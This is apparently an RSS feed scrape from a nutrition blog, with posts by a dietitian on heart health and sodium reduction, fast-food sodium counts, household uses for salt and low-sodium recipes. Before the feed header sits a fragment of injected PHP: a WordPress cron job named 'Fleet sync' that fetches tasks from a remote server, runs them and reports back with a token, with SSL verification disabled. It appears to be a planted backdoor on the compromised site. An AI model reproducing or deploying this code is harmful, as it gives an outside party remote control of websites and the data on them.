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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ways to Reduce Sodium – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 13 Feb 2013 00:00:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Ways to Reduce Sodium – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 5 Love Languages For A Healthy Heart https://skinnygeneprojectnew.dreamsites.io/5-love-languages-for-a-healthy-heart/ https://skinnygeneprojectnew.dreamsites.io/5-love-languages-for-a-healthy-heart/#respond Wed, 13 Feb 2013 00:00:59 +0000 http://skinnygeneproject.dreamhosters.com/?p=1135 “I love you with all my heart” one term of endearment you may hear or say this Valentine’s Day.  But how healthy is your heart?   Are you doing all you can to keep your heart beating strong for your loved ones?  This Valentine’s Day show your love to your heart by speaking these five “love languages”!

1. WEIGHT – Yes, your weight plays a major role in your heart health. If your BMI is over 25 kg/m2 (that is the

Healthy Heart
photo: eatingright.org

overweight/obesity range) and/or if you have extra love around your midsection, you are at a higher risk for heart disease, including heart attack and stroke.  The good news is that you can improve your heart health by losing weight.   To achieve weight loss, try to focus on exercise, food selections, and portion sizes.

2. FAT – Of course fat plays another major role in heart health! Be alarmed if your diet is loaded with higher fat foods, specifically foods high in saturated fat from animals including beef, pork, poultry fat and whole or 2% dairy.

Guidelines: Saturated fat should be limited to 7% of your total calories, due to its contribution to increasing your blood cholesterol. Following the American Heart Association’s guidelines, a heart healthy 2,000 calorie diet should be limited to 65 grams of total fat and 15 grams of saturated fat.

3.  SODIUM– Our bodies need a little bit of sodium (a.k.a. salt), though too much sodium can raise your blood pressure – not in the heart throbbing, good loving type of way – and increase your risk of heart disease including, heart attack and stroke.

Guidelines: The average American takes in 3,800 mg of sodium per day, which is nearly 2 times the recommended intake of ~2,000 mg per day for a heart healthy diet.

Helpful Tips: To lower your sodium intake, be sure to read the labels of any food in a package, jar, or can.  These processed foods have a lot of sodium to help preserve them to sit on the shelf.  Look for foods with reduced sodium label claims, such as “Sodium-free”, “Very Low Sodium”, or “Low Sodium”.  Another route is to go for the foods without packaging, especially the lovely colorful fresh fruits and vegetables!

4. CHOLESTEROL – Increased circulating cholesterol in your bloodstream can slowly make its home on the walls of your blood vessels, narrowing those important passage ways from your heart to your brain, lungs and other important parts of your body.  Our bodies naturally make cholesterol; therefore, it is important to limit the cholesterol in our foods to keep our blood flown properly!

Helpful Tips: One of the most important foods to be aware of when limiting your cholesterol is eggs!  One egg has 213 mg Cholesterol which is enough for your entire day!  Try to substitute those eggs with a cholesterol free egg substitute, just as it claims 0 mg of cholesterol and no fat!  Double heart loving bonus!

 5. FIBER – Fabulous, functional fiber can also help keep that lovable fiber heart of yours healthy.  Specifically soluble fiber, which binds with cholesterol and then takes a lovely ride out of the body, in turn reducing your blood LDL cholesterol (that’s the “bad” one).

Helpful Tips: To maximize the benefits of soluble fiber, include fruits, such as apples, bananas, pears, plums, peaches and citrus fruits, vegetables, such as carrots, brussel sprouts, broccoli, and chick peas, whole grains, such as barley, oats, psylium, and beans in your diet.

Renew your love for your heart and commit to making these heart healthy changes!

Have questions? Please don’t hesitate to contact us, we’re here to help!

By Emily Barr, MS, RD, CNSC

]]> https://skinnygeneprojectnew.dreamsites.io/5-love-languages-for-a-healthy-heart/feed/ 0 Salt! Salt! Where’s the salt? https://skinnygeneprojectnew.dreamsites.io/salt-salt-wheres-the-salt/ https://skinnygeneprojectnew.dreamsites.io/salt-salt-wheres-the-salt/#respond Wed, 11 May 2011 20:52:20 +0000 http://skinnygeneproject.dreamhosters.com/?p=1221 Jimmy Buffet wrote a popular summertime favorite titled Margaritaville, the best part of the song is when everyone cheers “Salt! Salt! Where’s the salt?” about the missing salt on the rim of a cold margarita.  But what Jimmy Buffet may not have known, is how much sodium is on just one margarita rim. 

Photo by Jeff K

To put it in perspective, the average American eats 3,436 mg of sodium every day, which is greater than double the American Heart Association’s recommendation of limiting your sodium intake to 1,500 mg per day!  The 600 mg of sodium on each margarita mug, definitely will not help the situation. 

Salt comes in many forms, including table salt, sodium, sodium chloride, sea salt, popcorn salt, and kosher salt.  All of these salts are loaded with sodium.  Just a pinch (1/4 tsp) of salt has 610 mg of sodium. A ½ teaspoon provides 1,219 mg of sodium. In fact, 1 teaspoon has a whopping 2,438 mg of sodium, easily more than enough for the day! 

The best thing you can do to help you and your family lower your risk of high blood pressure is to ditch the salt shaker.  One study found that for every 400 mg of sodium eliminated from the American diet daily, would result in 200,000-250,000 less cases of heart disease and death over the next decade.  

So, where’s the salt?

Photo by Krissen

Sodium can also be found in processed foods, so be sure to check the labels.  Choose low sodium and salt free foods when available.  If lower sodium versions are not available, try to choose foods with the lowest sodium content.  

A good rule of thumb is to try to make meals with less than 300 mg of sodium per meal.

 

Watch out for these common salty culprits….

BOXES: including rice-a-roni, mashed potatoes, macaroni and cheese, frozen pizzas, dry soup mix, stuffing mix, hamburger helper, pot pies, crackers, and TV dinners

CANS:  including soups, vegetables, chili, spaghettiOs, gravy

BAGS:  salty snacks including chips, popcorn, pretzels, peanuts, processed meats including lunch meats, sausage, bacon, hot dogs, pepperoni, and processed cheese such as American cheese slices

JARS:  including soy sauce, ketchup, barbeque sauce, vegetable juice, spaghetti sauce, pickles, hot sauce, chili sauce, sauerkraut, olives, salad dressing

McDonald’s fast food sodium facts:

                                Scary                                                                                                                   

  • Double Cheeseburger – 1040 mg                                                            
  • Angus bacon and cheese burger – 2070 mg
  • Grilled chicken sandwich – 1190 mg
  • Chicken McNuggets (6) – 600 mg
  • Chicken Select strips (5) – 1680 mg
  • Southwest salad with grilled chicken – 960 mg
  • Newman’s Own Low fat Balsamic Vinaigrette – 730 mg 
  • Medium French fries – 270 mg
  • Bacon, egg, and cheese biscuit – 1160 mg
  • Sausage, egg, and cheese McGriddle – 1360 mg
  • Big breakfast – 1560 mg
  • Hashbrown – 310 mg
  • Ketchup packet – 110 mg
  • Salt packet – 270 mg

Better

  • Hamburger – 520 mg
  • Small French fries – 160 mg (or ask for no salt)
  • Southwest salad (without chicken) – 150 mg
  • Side salad – 10 mg
  • English muffin -280 mg
  • Fruit & maple oatmeal – 160 mg
  • Fruit and walnut salad – 60 mg
  • Fruit and yogurt parfait – 85 mg
  • Apple dippers with lowfat caramel dip – 35 mg

 

These numbers may not seem too alarming, but think about the average meal.

For breakfast, you may order the breakfast burrito meal, 2 burritos and a hashbrown, providing a grand total of 1970 mg of sodium. 

For lunch, you may choose the premium bacon ranch salad with grilled chicken and ranch dressing, providing 1640 mg of sodium. 

Your dinner meal may be a quarter pounder with cheese, medium fries, and 2 packets of ketchup, providing an outstanding 2000 mg of sodium.

It seems no matter what you choose outside the home, it will be high in sodium.  Try to limit your time in fast food places, otherwise it may limit your time here on earth.

The American Heart Association’s tips for reducing sodium in YOUR diet

 

  • Choose fresh, frozen or canned food items without added salts.
  • Select unsalted nuts or seeds, dried beans, peas and lentils.
  • Limit salty snacks like chips and pretzels.
  • Avoid adding salt and canned vegetables to homemade dishes.
  • Select unsalted, lower sodium, fat-free broths, bouillons or soups.
  • Select fat-free or low-fat milk, low-sodium, low-fat cheeses and low-fat yogurt.
  • Learn to use spices and herbs to enhance the taste of your food.  Most spices naturally contain very small amounts of sodium.
  • Add fresh lemon juice instead of salt to fish and vegetables.
  • Specify how you want your food prepared when dining out. Ask for your dish to be prepared without salt.
  • Don’t use the salt shaker. Use the pepper shaker or mill.

 

Salt, it’s not just for your food

Looking for something to do with the table salt your family is no longer using?  Here are some interesting ideas from Morton Salt http://www.mortonsalt.com/household/index.html

  • Play-do

Kids and parents alike have fun making Morton Klaymates—rainy day salt sculpture friends. In medium saucepan, mix 1 cup flour, 1/2 cup Morton ® Salt, 2 teaspoons cream of tartar, 1 cup water, and a few drops of food coloring (optional). Cook over medium heat, stirring constantly, until mixture is very thick and lumpy as it cooks. Cool slightly and then knead in 1 or 2 drops of vegetable oil. Store in a plastic bag. For more brilliant shades, use paste food colors (available where cake decorating supplies are sold).

  • Chill wine or champagne

To quickly chill a bottle of wine or champagne, place the bottle in an ice bucket or other tall plastic container. Add a layer of ice on the bottom and sprinkle it with a few tablespoons of Morton ® Salt. Continue to layer salt and ice until it reaches the neck of the bottle. Then add water to ice level. After 10-12 minutes, open and serve. Rinse ice bucket thoroughly after use.

  • Soothe sore throat

To alleviate the discomfort of a mild sore throat, gargle several times daily with a mixture of 1/4 teaspoon Morton ® Salt and 1/2 cup warm water*. It’s like taking a liquid lozenge.

*Gargling with warm salt water is recommended by the American Academy of Otolaryngology to alleviate mild sore throat pain. See a physician if your sore throat persists longer than five days or if the sore throat is accompanied by difficulty in breathing or swallowing, joint pain, earache, a rash or fever.

  • Wipe out wine stains

A fine wine is hard to appreciate when it stains your nicest shirt. Simply use Morton ® Salt to help remove wine stains from cotton fabric. Immediately pour enough salt directly on the stain to soak up the liquid. Immerse the fabric for 1/2 hour in cold water. Launder as usual.

  • Eliminate fish odors
  Removing fish odor from your hands is simple with Morton ® Salt. Just rub your hands with a lemon wedge dipped in salt, then rinse with water.  
   

 Recipes

Try these low or reduced sodium recipes. Enjoy!

 

Recipe: Halibut with tomato basil salsa

http://www.mayoclinic.com/health/healthy-recipes/NU00399 

By Mayo Clinic staff

Serves 4

Ingredients 

2 tomatoes, diced
2 tablespoons fresh basil, chopped
1 teaspoon fresh oregano, chopped
1 tablespoon minced garlic
2 teaspoons extra-virgin olive oil
4 halibut fillets, each 4 ounces

Directions 

Preheat the oven to 350 F. Lightly coat a 9-by-13-inch baking pan with cooking spray.

In a small bowl, combine the tomato, basil, oregano and garlic. Add the olive oil and mix well.

Arrange the halibut fillets in the baking pan. Spoon the tomato mixture over the fish. Place in the oven and bake until the fish is opaque throughout when tested with the tip of a knife, about 10 to 15 minutes.

Transfer to individual plates and serve immediately.

Nutritional Analysis 

(per serving)

Serving size: 1 fillet
Calories 160 Cholesterol 36 mg
Protein 24 g Sodium 65 mg
Carbohydrate 3 g Fiber 1 g
Total fat 5 g Potassium 672 mg
Saturated fat 1 g Calcium 66 mg
Monounsaturated fat 3 g    

 

Recipe: Orange rosemary roasted chicken

http://www.mayoclinic.com/health/healthy-recipes/NU00414

By Mayo Clinic staff

Serves 6

Ingredients 

  • 3 skinless, bone-in chicken breast halves, each 8 ounces
  • 3 skinless, bone-in chicken legs with thigh pieces, each 8 ounces
  • 2 garlic cloves, minced
  • 1 1/2 teaspoons extra-virgin olive oil
  • 3 teaspoons fresh rosemary or 1 teaspoon dried rosemary, minced
  • 1/8 teaspoon freshly ground black pepper
  • 1/3 cup orange juice

Directions 

Preheat the oven to 450 F. Lightly coat a baking pan with cooking spray. Rub each piece of chicken with garlic. Dab fingers in oil and rub with oil, and sprinkle with rosemary and pepper. Place the chicken pieces in the baking dish. Pour the orange juice over the chicken. Cover and bake for 30 minutes. Using tongs, turn the chicken and return to the oven until browned, about 10 to 15 minutes longer. Baste the chicken with the orange juice from the pan as needed to prevent it from drying out. Transfer the chicken to individual serving plates. Spoon orange juice from the pan over the top of the chicken and serve immediately.

Nutritional Analysis

(per serving)

Calories 204 Cholesterol 99 mg
Protein 31 g Sodium 134 mg
Carbohydrate 2 g Fiber 0 g
Total fat 8 g Potassium 433 mg
Saturated fat 2 g Calcium 15 mg
Monounsaturated fat 3 g    
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